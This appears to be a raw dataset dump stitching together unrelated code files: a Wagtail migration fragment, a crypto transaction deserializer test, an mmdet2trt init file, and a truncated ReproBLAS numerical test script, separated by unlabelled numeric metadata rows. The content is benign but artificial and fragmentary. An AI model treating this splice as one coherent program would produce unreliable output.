wagtail.core.blocks.StructBlock([('content', wagtail.core.blocks.RichTextBlock(label='Well', required=False))])), ('well_with_ask_search', wagtail.core.blocks.StructBlock([('content', wagtail.core.blocks.RichTextBlock(label='Well', required=False)), ('ask_search', wagtail.core.blocks.StructBlock([('show_label', wagtail.core.blocks.BooleanBlock(default=True, help_text='Whether to show form label.', required=False)), ('placeholder', wagtail.core.blocks.TextBlock(help_text='Text to show for the input placeholder text.', required=False))]))]))])), ('filter_controls', wagtail.core.blocks.StructBlock([('label', wagtail.core.blocks.CharBlock(required=False)), ('is_bordered', wagtail.core.blocks.BooleanBlock(required=False)), ('is_midtone', wagtail.core.blocks.BooleanBlock(required=False)), ('is_expanded', wagtail.core.blocks.BooleanBlock(required=False)), ('title', wagtail.core.blocks.BooleanBlock(default=True, label='Filter Title', required=False)), ('no_posts_message', wagtail.core.blocks.CharBlock(help_text='Message for the <a href="https://cfpb.github.io/design-system/components/notifications#default-base-notification">notification</a> that will be displayed instead of filter controls if there are no posts to filter.', required=False)), ('no_posts_explanation', wagtail.core.blocks.CharBlock(help_text='Additional explanation for the notification that will be displayed if there are no posts to filter.', required=False)), ('post_date_description', wagtail.core.blocks.CharBlock(help_text='Strongly encouraged to help users understand the action that the date of the post is linked to, i.e. published, issued, released.', label='Date stamp descriptor', required=False)), ('categories', wagtail.core.blocks.StructBlock([('filter_category', wagtail.core.blocks.BooleanBlock(default=True, required=False)), ('show_preview_categories', wagtail.core.blocks.BooleanBlock(default=True, required=False)), ('page_type', wagtail.core.blocks.ChoiceBlock(choices=v1.util.ref.filterable_list_page_types, required=False))])), ('topic_filtering', wagtail.core.blocks.ChoiceBlock(choices=[('no_filter', "Don't filter topics"), ('sort_alphabetically', 'Filter topics, sort topic list alphabetically'), ('sort_by_frequency', 'Filter topics, sort topic list by number of results')], help_text='Whether to include a dropdown in the filter controls for "Topics"')), ('statuses', wagtail.core.blocks.BooleanBlock(default=False, label='Filter Enforcement Statuses', required=False)), ('authors', wagtail.core.blocks.BooleanBlock(default=True, label='Filter Authors', required=False)), ('date_range', wagtail.core.blocks.BooleanBlock(default=True, label='Filter Date Range', required=False)), ('output_5050', wagtail.core.blocks.BooleanBlock(default=False, label='Render preview items as 50-50s', required=False)), ('link_image_and_heading', wagtail.core.blocks.BooleanBlock(default=False, help_text='Add links to post preview images and headings in filterable list results', required=False))])), ('featured_content', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock()), ('body', wagtail.core.blocks.RichTextBlock()), ('post', wagtail.core.blocks.PageChooserBlock(required=False)), ('show_post_link', wagtail.core.blocks.BooleanBlock(label='Render post link?', required=False)), ('post_link_text', wagtail.core.blocks.CharBlock(required=False)), ('image', wagtail.core.blocks.StructBlock([('upload', wagtail.images.blocks.ImageChooserBlock(required=False)), ('alt', wagtail.core.blocks.CharBlock(help_text="If the image is decorative (i.e., if a screenreader wouldn't have anything useful to say about it), leave the Alt field blank.", required=False))])), ('links', wagtail.core.blocks.ListBlock(wagtail.core.blocks.StructBlock([('text', wagtail.core.blocks.CharBlock(required=False)), ('url', wagtail.core.blocks.CharBlock(default='/', required=False))]), label='Additional Links')), ('video', wagtail.core.blocks.StructBlock([('video_id', wagtail.core.blocks.RegexBlock(error_messages={'invalid': 'The YouTube video ID is in the wrong format.'}, help_text='Enter the YouTube video ID, which is located at the end of the video URL, after "v=". For example, the video ID for https://www.youtube.com/watch?v=1V0Ax9OIc84 is 1V0Ax9OIc84.', label='YouTube video ID', regex='^[\\w-]{11}$', required=False)), ('thumbnail_image', wagtail.images.blocks.ImageChooserBlock(help_text='Optional thumbnail image to show before and after the video plays. If the thumbnail image is not set here, the video player will default to showing the thumbnail that was set in (or automatically chosen by) YouTube.', required=False))], required=False))])), ('feedback', wagtail.core.blocks.StructBlock([('was_it_helpful_text', wagtail.core.blocks.CharBlock(default='Was this page helpful to you?', help_text='Use this field only for feedback forms that use "Was this helpful?" radio buttons.', required=False)), ('intro_text', wagtail.core.blocks.CharBlock(help_text='Optional feedback intro', required=False)), ('question_text', wagtail.core.blocks.CharBlock(help_text='Optional expansion on intro', required=False)), ('radio_intro', wagtail.core.blocks.CharBlock(help_text='Leave blank unless you are building a feedback form with extra radio-button prompts, as in /owning-a-home/help-us-improve/.', required=False)), ('radio_text', wagtail.core.blocks.CharBlock(default='This information helps us understand your question better.', required=False)), ('radio_question_1', wagtail.core.blocks.CharBlock(default='How soon do you expect to buy a home?', required=False)), ('radio_question_2', wagtail.core.blocks.CharBlock(default='Do you currently own a home?', required=False)), ('button_text', wagtail.core.blocks.CharBlock(default='Submit')), ('contact_advisory', wagtail.core.blocks.RichTextBlock(help_text='Use only for feedback forms that ask for a contact email', required=False))]))]),
),
]
| 588.775
| 10,964
| 0.74655
| 3,065
| 23,551
| 5.669168
| 0.161501
| 0.112684
| 0.171213
| 0.082297
| 0.795523
| 0.789077
| 0.785854
| 0.768071
| 0.768071
| 0.762604
| 0
| 0.006022
| 0.083309
| 23,551
| 39
| 10,965
| 603.871795
| 0.798833
| 0.001953
| 0
| 0.30303
| 1
| 0.69697
| 0.446922
| 0.025784
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.212121
| 0
| 0.30303
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
983307ae02491c8b74735a03beb409856e5dc1db
| 1,701
|
py
|
Python
|
tests/transactions/deserializers/test_multi_signature_registration.py
|
PhantomChain/python-crypto
|
3d154a314ff57d68f5e093b440d5beddbd43c411
|
[
"MIT"
] | null | null | null |
tests/transactions/deserializers/test_multi_signature_registration.py
|
PhantomChain/python-crypto
|
3d154a314ff57d68f5e093b440d5beddbd43c411
|
[
"MIT"
] | null | null | null |
tests/transactions/deserializers/test_multi_signature_registration.py
|
PhantomChain/python-crypto
|
3d154a314ff57d68f5e093b440d5beddbd43c411
|
[
"MIT"
] | 1
|
2019-11-26T15:37:56.000Z
|
2019-11-26T15:37:56.000Z
|
from crypto.transactions.deserializer import Deserializer
def test_multi_signature_registration_deserializer():
serialized = 'ff011704724c9a00036928c98ee53a1f52ed01dd87db10ffe1980eb47cd7c0a7d688321f47b5d7d76000943577000000000002031803543c6cc3545be6bac09c82721973a052c690658283472e88f24d14739f75acc80276dc5b8706a85ca9fdc46e571ac84e52fbb48e13ec7a165a80731b44ae89f1fc02e8d5d17eb17bbc8d7bf1001d29a2d25d1249b7bb7a5b7ad8b7422063091f4b3130440220324d89c5792e4a54ae70b4f1e27e2f87a8b7169cc6f2f7b2c83dba894960f987022053b8d0ae23ff9d1769364db7b6fd03216d93753c82a711c3558045e787bc01a5304402201fcd54a9ac9c0269b8cec213566ddf43207798e2cf9ca1ce3c5d315d66321c6902201aa94c4ed3e5e479a12220aa886b259e488eb89b697c711f91e8c03b9620e0b1ff304502210097f17c8eecf36f86a967cc52a83fa661e4ffc70cc4ea08df58673669406d424c0220798f5710897b75dda42f6548f841afbe4ed1fa262097112cf5a1b3f7dade60e4304402201a4a4c718bfdc699bbb891b2e89be018027d2dcd10640b5ddf07802424dab78e02204ec7c7d505d2158c3b51fdd3843d16aecd2eaaa4c6c7a555ef123c5e59fd41fb304402207e660489bced5ce80c33d45c86781b63898775ab4a231bb48780f97b40073a63022026f0cefd0d83022d822522ab4366a82e3b89085c328817919939f2efeabd913d' # noqa
deserializer = Deserializer(serialized)
actual = deserializer.deserialize()
data = actual.to_dict()
assert data['asset']['multisignature']['min'] == 2
assert data['asset']['multisignature']['lifetime'] == 24
assert data['asset']['multisignature']['keysgroup'] == [
'+03543c6cc3545be6bac09c82721973a052c690658283472e88f24d14739f75acc8',
'+0276dc5b8706a85ca9fdc46e571ac84e52fbb48e13ec7a165a80731b44ae89f1fc',
'+02e8d5d17eb17bbc8d7bf1001d29a2d25d1249b7bb7a5b7ad8b7422063091f4b31'
]
actual.verify()
| 100.058824
| 1,035
| 0.895356
| 47
| 1,701
| 32.297872
| 0.638298
| 0.019763
| 0.029644
| 0.057312
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.500937
| 0.058789
| 1,701
| 16
| 1,036
| 106.3125
| 0.44722
| 0.002352
| 0
| 0
| 0
| 0
| 0.758702
| 0.713274
| 0
| 1
| 0
| 0
| 0.214286
| 1
| 0.071429
| false
| 0
| 0.071429
| 0
| 0.142857
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
987c9f28a82f2c11d9f0690fc0141fe2f7847eb7
| 130
|
py
|
Python
|
mmdet2trt/core/__init__.py
|
tehkillerbee/mmdetection-to-tensorrt
|
b1532465ab1c6617b350981bbda2bc361fe291a6
|
[
"Apache-2.0"
] | 496
|
2020-07-16T08:37:02.000Z
|
2022-03-31T01:13:45.000Z
|
mmdet2trt/core/__init__.py
|
tehkillerbee/mmdetection-to-tensorrt
|
b1532465ab1c6617b350981bbda2bc361fe291a6
|
[
"Apache-2.0"
] | 98
|
2020-07-30T02:14:41.000Z
|
2022-03-21T08:58:12.000Z
|
mmdet2trt/core/__init__.py
|
tehkillerbee/mmdetection-to-tensorrt
|
b1532465ab1c6617b350981bbda2bc361fe291a6
|
[
"Apache-2.0"
] | 80
|
2020-08-06T03:52:11.000Z
|
2022-03-23T11:41:46.000Z
|
from .anchor import * # noqa: F401,F403
from .bbox import * # noqa: F401,F403
from .post_processing import * # noqa: F401,F403
| 32.5
| 49
| 0.7
| 19
| 130
| 4.736842
| 0.473684
| 0.333333
| 0.466667
| 0.6
| 0.488889
| 0
| 0
| 0
| 0
| 0
| 0
| 0.169811
| 0.184615
| 130
| 3
| 50
| 43.333333
| 0.679245
| 0.361538
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
f693b0464b4acd28316f7d30ceb8a60883bf75fd
| 31,782
|
py
|
Python
|
tests/checks/check.py
|
ptrahrens/ReproBLAS
|
ae50ec6bcb4426af8f08f065c148227b8dcfe763
|
[
"BSD-3-Clause"
] | 6
|
2018-10-02T18:51:26.000Z
|
2021-03-13T02:23:24.000Z
|
tests/checks/check.py
|
ptrahrens/ReproBLAS
|
ae50ec6bcb4426af8f08f065c148227b8dcfe763
|
[
"BSD-3-Clause"
] | 6
|
2017-08-01T22:27:28.000Z
|
2019-12-20T08:34:48.000Z
|
tests/checks/check.py
|
ptrahrens/ReproBLAS
|
ae50ec6bcb4426af8f08f065c148227b8dcfe763
|
[
"BSD-3-Clause"
] | 8
|
2017-07-01T22:19:09.000Z
|
2022-02-01T21:02:31.000Z
|
import os
from tests.checks import checks
from tests.harness import harness
from scripts import terminal
check_dir = os.path.dirname(os.path.abspath(__file__))
check_suite = checks.CheckSuite()
folds = [3]
inf_folds = [3]
incs = [1]
FLT_BIN_WIDTH=13
FLT_MAX_EXP=128
FLT_BIG_EXP=13
FLT_SMALL_EXP=-12
FLT_MIN_EXP=-125
FLT_MANT_DIG=24
FLT_ONES = 0
for i in range(FLT_MANT_DIG):
FLT_ONES += 2.0 ** -i
DBL_BIN_WIDTH=41
DBL_MAX_EXP=1024
DBL_BIG_EXP=27
DBL_SMALL_EXP=-27
DBL_MIN_EXP=-1021
DBL_MANT_DIG=53
DBL_ONES = 0
for i in range(DBL_MANT_DIG):
DBL_ONES += 2.0 ** -i
check_suite.add_checks([checks.ValidateInternalDSCALETest(),\
checks.ValidateInternalSSCALETest()],\
["N", "incX"],\
[[4], [1]])
check_suite.add_checks([checks.ValidateInternalUFPTest(),\
checks.ValidateInternalUFPFTest()],\
["N", "incX"],\
[[10], [1, 2, 4]])
check_suite.add_checks([checks.ValidateInternalDINDEXTest(),\
checks.ValidateInternalSINDEXTest(),\
checks.ValidateInternalDMINDEXTest(),\
checks.ValidateInternalSMINDEXTest()],\
["N", "incX"],\
[[4], [1]])
check_suite.add_checks([checks.ValidateInternalDAMAXTest(),\
checks.ValidateInternalZAMAXTest(),\
checks.ValidateInternalSAMAXTest(),\
checks.ValidateInternalCAMAXTest()],\
["N", "incX"],\
[[4095], [1, 2, 4]])
check_suite.add_checks([checks.ValidateInternalRDSUMTest(),\
checks.ValidateInternalDBDBADDTest(),\
checks.ValidateInternalDIDADDTest(),\
checks.ValidateInternalDIDDEPOSITTest(),\
checks.ValidateInternalRSSUMTest(),\
checks.ValidateInternalSBSBADDTest(),\
checks.ValidateInternalSISADDTest(),\
checks.ValidateInternalSISDEPOSITTest(),\
],\
["N", "fold", "incX", "RealScaleX", "FillX"],\
[[4095], folds, incs, [1.0, -1.0],\
["constant",\
"mountain",\
"+big",\
"++big",\
"+-big",\
"sine"]])
check_suite.add_checks([checks.ValidateInternalRZSUMTest(),\
checks.ValidateInternalZBZBADDTest(),\
checks.ValidateInternalZIZADDTest(),\
checks.ValidateInternalZIZDEPOSITTest(),\
checks.ValidateInternalRCSUMTest(),\
checks.ValidateInternalCBCBADDTest(),\
checks.ValidateInternalCICADDTest(),\
checks.ValidateInternalCICDEPOSITTest()],\
["N", "fold", "incX", "RealScaleX", "ImagScaleX", "FillX"],\
[[4095], folds, incs, [-1.0, 0.0, 1.0], [-1.0, 0.0, 1.0],\
["constant",\
"mountain",\
"+big",\
"++big",\
"+-big",\
"sine"]])
check_suite.add_checks([checks.ValidateInternalRDNRM2Test(),\
checks.ValidateInternalRDASUMTest(),\
checks.ValidateInternalRSNRM2Test(),\
checks.ValidateInternalRSASUMTest(),\
],\
["N", "fold", "incX", "RealScaleX", "FillX"],\
[[4095], folds, incs, [1.0, -1.0],\
["constant",\
"+big",\
"++big",\
"+-big"]])
check_suite.add_checks([checks.ValidateInternalRDZNRM2Test(),\
checks.ValidateInternalRDZASUMTest(),\
checks.ValidateInternalRSCNRM2Test(),\
checks.ValidateInternalRSCASUMTest(),\
],\
["N", "fold", "incX", ("RealScaleX", "ImagScaleX"), "FillX"],\
[[4095], folds, incs, [-1.0, 0.0, 1.0], [-1.0, 0.0, 1.0],\
["constant",\
"+big",\
"++big",\
"+-big"]])
check_suite.add_checks([checks.ValidateInternalRDDOTTest(),\
checks.ValidateInternalRSDOTTest(),\
],\
["N", "fold", "incX", "RealScaleX", "RealScaleY", "FillX", "FillY"],\
[[4095], folds, incs, [1.0, -1.0], [1.0, -1.0],\
["constant",\
"+big",\
"++big",\
"+-big"],\
["constant",\
"+big",\
"++big",\
"+-big"]])
check_suite.add_checks([checks.ValidateInternalRDDOTTest(),\
checks.ValidateInternalRSDOTTest(),\
],\
["N", "fold", "incX", "RealScaleX", "RealScaleY", ("FillX", "FillY")],\
[[4095], folds, incs, [1.0, -1.0], [1.0, -1.0],\
[("constant", "sine"),\
("sine", "constant")]])
check_suite.add_checks([checks.ValidateInternalRDDOTTest(),\
checks.ValidateInternalRSDOTTest(),\
],\
["N", "fold", "incX", "RealScaleX", "RealScaleY", ("FillX", "FillY")],\
[[4095], folds, incs, [1.0, -1.0], [1.0, -1.0],\
[("constant", "mountain"),\
("mountain", "constant")]])
check_suite.add_checks([checks.ValidateInternalRZDOTUTest(),\
checks.ValidateInternalRZDOTCTest(),\
checks.ValidateInternalRCDOTUTest(),\
checks.ValidateInternalRCDOTCTest(),\
],\
["N", "fold", "incX", "RealScaleX", "ImagScaleX", "RealScaleY", "ImagScaleY", "FillX", "FillY"],\
[[4095], folds, incs, [-1.0, 0.0, 1.0], [-1.0, 0.0, 1.0], [-1.0, 0.0, 1.0], [-1.0, 0.0, 1.0],\
["constant",\
"+big",\
"++big",\
"+-big"],\
["constant",\
"+big",\
"++big",\
"+-big"]])
check_suite.add_checks([checks.ValidateInternalRZDOTUTest(),\
checks.ValidateInternalRZDOTCTest(),\
checks.ValidateInternalRCDOTUTest(),\
checks.ValidateInternalRCDOTCTest(),\
],\
["N", "fold", "incX", "RealScaleX", "ImagScaleX", "RealScaleY", "ImagScaleY", ("FillX", "FillY")],\
[[4095], folds, incs, [-1.0, 0.0, 1.0], [-1.0, 0.0, 1.0], [-1.0, 0.0, 1.0], [-1.0, 0.0, 1.0],\
[("constant", "sine"),\
("sine", "constant")]])
check_suite.add_checks([checks.ValidateInternalRZDOTUTest(),\
checks.ValidateInternalRZDOTCTest(),\
checks.ValidateInternalRCDOTUTest(),\
checks.ValidateInternalRCDOTCTest(),\
],\
["N", "fold", "incX", "RealScaleX", "ImagScaleX", "RealScaleY", "ImagScaleY", ("FillX", "FillY")],\
[[4095], folds, incs, [-1.0, 0.0, 1.0], [-1.0, 0.0, 1.0], [-1.0, 0.0, 1.0], [-1.0, 0.0, 1.0],\
[("constant", "mountain"),\
("mountain", "constant")]])
check_suite.add_checks([checks.ValidateInternalRDSUMTest(),\
checks.ValidateInternalRDASUMTest(),\
checks.ValidateInternalRDNRM2Test(),\
checks.ValidateInternalDBDBADDTest(),\
checks.ValidateInternalDIDADDTest(),\
checks.ValidateInternalDIDDEPOSITTest(),\
checks.ValidateInternalRSSUMTest(),\
checks.ValidateInternalRSASUMTest(),\
checks.ValidateInternalRSNRM2Test(),\
checks.ValidateInternalSBSBADDTest(),\
checks.ValidateInternalSISADDTest(),\
checks.ValidateInternalSISDEPOSITTest(),\
],\
["N", "fold", "incX", "RealScaleX", "FillX"],\
[[255], inf_folds, incs, [1.0, -1.0],\
["+inf",\
"++inf",\
"+-inf",\
"nan",\
"+inf_nan",\
"++inf_nan",\
"+-inf_nan"]])
check_suite.add_checks([checks.ValidateInternalRZSUMTest(),\
checks.ValidateInternalRDZASUMTest(),\
checks.ValidateInternalRDZNRM2Test(),\
checks.ValidateInternalZBZBADDTest(),\
checks.ValidateInternalZIZADDTest(),\
checks.ValidateInternalZIZDEPOSITTest(),\
checks.ValidateInternalRCSUMTest(),\
checks.ValidateInternalRSCASUMTest(),\
checks.ValidateInternalRSCNRM2Test(),\
checks.ValidateInternalCBCBADDTest(),\
checks.ValidateInternalCICADDTest(),\
checks.ValidateInternalCICDEPOSITTest()],\
["N", "fold", "incX", "RealScaleX", "ImagScaleX", "FillX"],\
[[255], inf_folds, incs, [-1.0, 0.0, 1.0], [-1.0, 0.0, 1.0],\
["+inf",\
"++inf",\
"+-inf",\
"nan",\
"+inf_nan",\
"++inf_nan",\
"+-inf_nan"]])
check_suite.add_checks([checks.ValidateInternalRDDOTTest(),\
checks.ValidateInternalRSDOTTest(),\
],\
["N", "fold", "incX", "RealScaleX", "RealScaleY", "FillX", "FillY"],\
[[255], inf_folds, incs, [1.0, -1.0], [1.0, -1.0],\
["constant",\
"+inf",\
"++inf",\
"+-inf",\
"nan",\
"+inf_nan",\
"++inf_nan",\
"+-inf_nan"],\
["constant",\
"+inf",\
"++inf",\
"+-inf",\
"nan",\
"+inf_nan",\
"++inf_nan",\
"+-inf_nan"]])
check_suite.add_checks([checks.ValidateInternalRZDOTUTest(),\
checks.ValidateInternalRZDOTCTest(),\
checks.ValidateInternalRCDOTUTest(),\
checks.ValidateInternalRCDOTCTest(),\
],\
["N", "fold", "incX", "RealScaleX", "ImagScaleX", "RealScaleY", "ImagScaleY", "FillX", "FillY"],\
[[255], inf_folds, incs, [-1.0, 0.0, 1.0], [-1.0, 0.0, 1.0], [-1.0, 0.0, 1.0], [-1.0, 0.0, 1.0],
["constant",\
"+inf",\
"++inf",\
"+-inf",\
"nan",\
"+inf_nan",\
"++inf_nan",\
"+-inf_nan"],\
["constant",\
"+inf",\
"++inf",\
"+-inf",\
"nan",\
"+inf_nan",\
"++inf_nan",\
"+-inf_nan"]])
check_suite.add_checks([checks.ValidateXBLASRDDOTTest(),\
checks.ValidateXBLASRZDOTUTest(),\
checks.ValidateXBLASRZDOTCTest(),\
checks.ValidateXBLASRSDOTTest(),\
checks.ValidateXBLASRCDOTUTest(),\
checks.ValidateXBLASRCDOTCTest()],\
["N", "incX", "incY", "norm"],\
[[1, 2, 3, 4, 5, 6, 7, 8, 15, 16, 63, 64, 4095, 4096], [1, 2, 4], [1, 2, 4], [-1, 0, 1]])
check_suite.add_checks([checks.VerifyRDSUMTest(),\
checks.VerifyRDASUMTest(),\
checks.VerifyDBDBADDTest(),\
checks.VerifyDIDADDTest(),\
checks.VerifyDIDDEPOSITTest(),\
checks.VerifyRZSUMTest(),\
checks.VerifyRDZASUMTest(),\
checks.VerifyZBZBADDTest(),\
checks.VerifyZIZADDTest(),\
checks.VerifyZIZDEPOSITTest(),\
checks.VerifyRSSUMTest(),\
checks.VerifyRSASUMTest(),\
checks.VerifySBSBADDTest(),\
checks.VerifySISADDTest(),\
checks.VerifySISDEPOSITTest(),\
checks.VerifyRCSUMTest(),\
checks.VerifyRSCASUMTest(),\
checks.VerifyCBCBADDTest(),\
checks.VerifyCICADDTest(),\
checks.VerifyCICDEPOSITTest()],\
["N", "fold", "B", "incX", "RealScaleX", "FillX"],\
[[4095], folds, [256], incs, [0],\
["constant"]])
check_suite.add_checks([checks.VerifyRDSUMTest(),\
checks.VerifyRDASUMTest(),\
checks.VerifyRDNRM2Test(),\
checks.VerifyDIDSSQTest(),\
checks.VerifyDBDBADDTest(),\
checks.VerifyDIDADDTest(),\
checks.VerifyDIDDEPOSITTest(),\
checks.VerifyRZSUMTest(),\
checks.VerifyRDZASUMTest(),\
checks.VerifyRDZNRM2Test(),\
checks.VerifyDIZSSQTest(),\
checks.VerifyZBZBADDTest(),\
checks.VerifyZIZADDTest(),\
checks.VerifyZIZDEPOSITTest(),\
checks.VerifyRSSUMTest(),\
checks.VerifyRSASUMTest(),\
checks.VerifyRSNRM2Test(),\
checks.VerifySISSSQTest(),\
checks.VerifySBSBADDTest(),\
checks.VerifySISADDTest(),\
checks.VerifySISDEPOSITTest(),\
checks.VerifyRCSUMTest(),\
checks.VerifyRSCASUMTest(),\
checks.VerifyRSCNRM2Test(),\
checks.VerifySICSSQTest(),\
checks.VerifyCBCBADDTest(),\
checks.VerifyCICADDTest(),\
checks.VerifyCICDEPOSITTest()],\
["N", "fold", "B", "incX", "FillX"],\
[[4095], folds, [256], incs,\
["rand",\
"rand+(rand-1)",\
"sine",\
"small+grow*big"]])
check_suite.add_checks([checks.VerifyRDDOTTest(),\
checks.VerifyRZDOTUTest(),\
checks.VerifyRZDOTCTest(),\
checks.VerifyRSDOTTest(),\
checks.VerifyRCDOTUTest(),\
checks.VerifyRCDOTCTest()],\
["N", "fold", "incX", "incY", "FillX", "FillY"],\
[[4095], folds, incs, incs,\
["rand",\
"rand+(rand-1)",\
"sine",\
"small+grow*big"],\
["rand",\
"rand+(rand-1)",\
"sine",\
"small+grow*big"]])
for i in range(DBL_BIN_WIDTH + 2):
check_suite.add_checks([checks.ValidateInternalRDSUMTest(),\
checks.ValidateInternalDBDBADDTest(),\
checks.ValidateInternalDIDADDTest(),\
checks.ValidateInternalDIDDEPOSITTest(),\
checks.ValidateInternalRDASUMTest(),\
checks.ValidateInternalRDNRM2Test(),\
checks.ValidateInternalRDDOTTest(),\
],\
["N", "fold", "incX", "RealScaleX", "FillX", "FillY"],\
[[8192], folds, incs, [DBL_ONES + 2 ** i],\
["constant"],\
["constant"]])
check_suite.add_checks([checks.ValidateInternalRDSUMTest(),\
checks.ValidateInternalDBDBADDTest(),\
checks.ValidateInternalDIDADDTest(),\
checks.ValidateInternalDIDDEPOSITTest(),\
checks.ValidateInternalRDASUMTest(),\
checks.ValidateInternalRDNRM2Test(),\
checks.ValidateInternalRDDOTTest(),\
],\
["N", "fold", "incX", "RealScaleX", "FillX", "FillY"],\
[[32], folds, incs,\
[1.5 * 2**(DBL_MAX_EXP - DBL_BIG_EXP - 6 - i), 0.75 * 2**(DBL_MIN_EXP - DBL_SMALL_EXP + i)],\
["constant",\
"+big",\
"++big",\
"+-big"],\
["constant"]])
check_suite.add_checks([checks.ValidateInternalRDDOTTest(),\
],\
["N", "fold", "incX", "RealScaleX", "FillX", "FillY"],\
[[32], folds, incs,\
[1.5 * 2**(DBL_MAX_EXP - DBL_BIG_EXP - 6 - i), 0.75 * 2**(DBL_MIN_EXP - DBL_SMALL_EXP + i)],\
["constant"],\
["constant",\
"+big",\
"++big",\
"+-big"]])
check_suite.add_checks([checks.ValidateInternalRDDOTTest(),\
],\
["N", "fold", "incX", "RealScaleX", "FillX", "FillY"],\
[[32], folds, incs,\
[1.5 * 2**(DBL_MAX_EXP - 2 * DBL_BIG_EXP - 6 - i), 0.75 * 2**(DBL_MIN_EXP - 2 * DBL_SMALL_EXP + i)],\
["constant",\
"+big",\
"++big",\
"+-big"],\
["constant",\
"+big",\
"++big",\
"+-big"]])
check_suite.add_checks([checks.ValidateInternalRZSUMTest(),\
checks.ValidateInternalZBZBADDTest(),\
checks.ValidateInternalZIZADDTest(),\
checks.ValidateInternalZIZDEPOSITTest(),\
checks.ValidateInternalRDZASUMTest(),\
checks.ValidateInternalRDZNRM2Test(),\
checks.ValidateInternalRZDOTUTest(),\
checks.ValidateInternalRZDOTCTest(),\
],\
["N", "fold", "incX", "RealScaleX", "ImagScaleX", "FillX", "FillY"],\
[[16], folds, incs,\
[1.5 * 2**(DBL_MAX_EXP - DBL_BIG_EXP - 6 - i), 0.75 * 2**(DBL_MIN_EXP - DBL_SMALL_EXP + i)],\
[1.5 * 2**(DBL_MAX_EXP - DBL_BIG_EXP - 6 - i), 0.75 * 2**(DBL_MIN_EXP - DBL_SMALL_EXP + i)],\
["constant",\
"+big",\
"++big",\
"+-big"],\
["constant"]])
check_suite.add_checks([checks.ValidateInternalRZDOTUTest(),\
checks.ValidateInternalRZDOTCTest(),\
],\
["N", "fold", "incX", "RealScaleX", "ImagScaleX", "FillX", "FillY"],\
[[16], folds, incs,\
[1.5 * 2**(DBL_MAX_EXP - DBL_BIG_EXP - 6 - i), 0.75 * 2**(DBL_MIN_EXP - DBL_SMALL_EXP + i)],\
[1.5 * 2**(DBL_MAX_EXP - DBL_BIG_EXP - 6 - i), 0.75 * 2**(DBL_MIN_EXP - DBL_SMALL_EXP + i)],\
["constant"],\
["constant",\
"+big",\
"++big",\
"+-big"]])
check_suite.add_checks([checks.ValidateInternalRZDOTUTest(),\
checks.ValidateInternalRZDOTCTest(),\
],\
["N", "fold", "incX", "RealScaleX", "ImagScaleX", "FillX", "FillY"],\
[[16], folds, incs,\
[1.5 * 2**(DBL_MAX_EXP - 2 * DBL_BIG_EXP - 6 - i), 0.75 * 2**(DBL_MIN_EXP - 2 * DBL_SMALL_EXP + i)],\
[1.5 * 2**(DBL_MAX_EXP - 2 * DBL_BIG_EXP - 6 - i), 0.75 * 2**(DBL_MIN_EXP - 2 * DBL_SMALL_EXP + i)],\
["constant",\
"+big",\
"++big",\
"+-big"],\
["constant",\
"+big",\
"++big",\
"+-big"]])
for i in range(FLT_BIN_WIDTH + 2):
check_suite.add_checks([checks.ValidateInternalRSSUMTest(),\
checks.ValidateInternalSBSBADDTest(),\
checks.ValidateInternalSISADDTest(),\
checks.ValidateInternalSISDEPOSITTest(),\
checks.ValidateInternalRSASUMTest(),\
checks.ValidateInternalRSNRM2Test(),\
checks.ValidateInternalRSDOTTest(),\
],\
["N", "fold", "incX", "RealScaleX", "FillX", "FillY"],\
[[8192], folds, incs, [FLT_ONES * 2.0 ** i],\
["constant",],\
["constant"]])
check_suite.add_checks([checks.ValidateInternalRSSUMTest(),\
checks.ValidateInternalSBSBADDTest(),\
checks.ValidateInternalSISADDTest(),\
checks.ValidateInternalSISDEPOSITTest(),\
checks.ValidateInternalRSASUMTest(),\
checks.ValidateInternalRSNRM2Test(),\
checks.ValidateInternalRSDOTTest(),\
],\
["N", "fold", "incX", "RealScaleX", "FillX", "FillY"],\
[[32], folds, incs,\
[1.5 * 2**(FLT_MAX_EXP - FLT_BIG_EXP - 6 - i), 0.75 * 2**(FLT_MIN_EXP - FLT_SMALL_EXP + i)],\
["constant",\
"+big",\
"++big",\
"+-big"],\
["constant"]])
check_suite.add_checks([checks.ValidateInternalRSDOTTest(),\
],\
["N", "fold", "incX", "RealScaleX", "FillX", "FillY"],\
[[32], folds, incs,\
[1.5 * 2**(FLT_MAX_EXP - FLT_BIG_EXP - 6 - i), 0.75 * 2**(FLT_MIN_EXP - FLT_SMALL_EXP + i)],\
["constant"],\
["constant",\
"+big",\
"++big",\
"+-big"]])
check_suite.add_checks([checks.ValidateInternalRSDOTTest(),\
],\
["N", "fold", "incX", "RealScaleX", "FillX", "FillY"],\
[[32], folds, incs,\
[1.5 * 2**(FLT_MAX_EXP - 2 * FLT_BIG_EXP - 6 - i), 0.75 * 2**(FLT_MIN_EXP - 2 * FLT_SMALL_EXP + i)],\
["constant",\
"+big",\
"++big",\
"+-big"],\
["constant",\
"+big",\
"++big",\
"+-big"]])
check_suite.add_checks([checks.ValidateInternalRCSUMTest(),\
checks.ValidateInternalCBCBADDTest(),\
checks.ValidateInternalCICADDTest(),\
checks.ValidateInternalCICDEPOSITTest(),\
checks.ValidateInternalRSCASUMTest(),\
checks.ValidateInternalRSCNRM2Test(),\
checks.ValidateInternalRCDOTUTest(),\
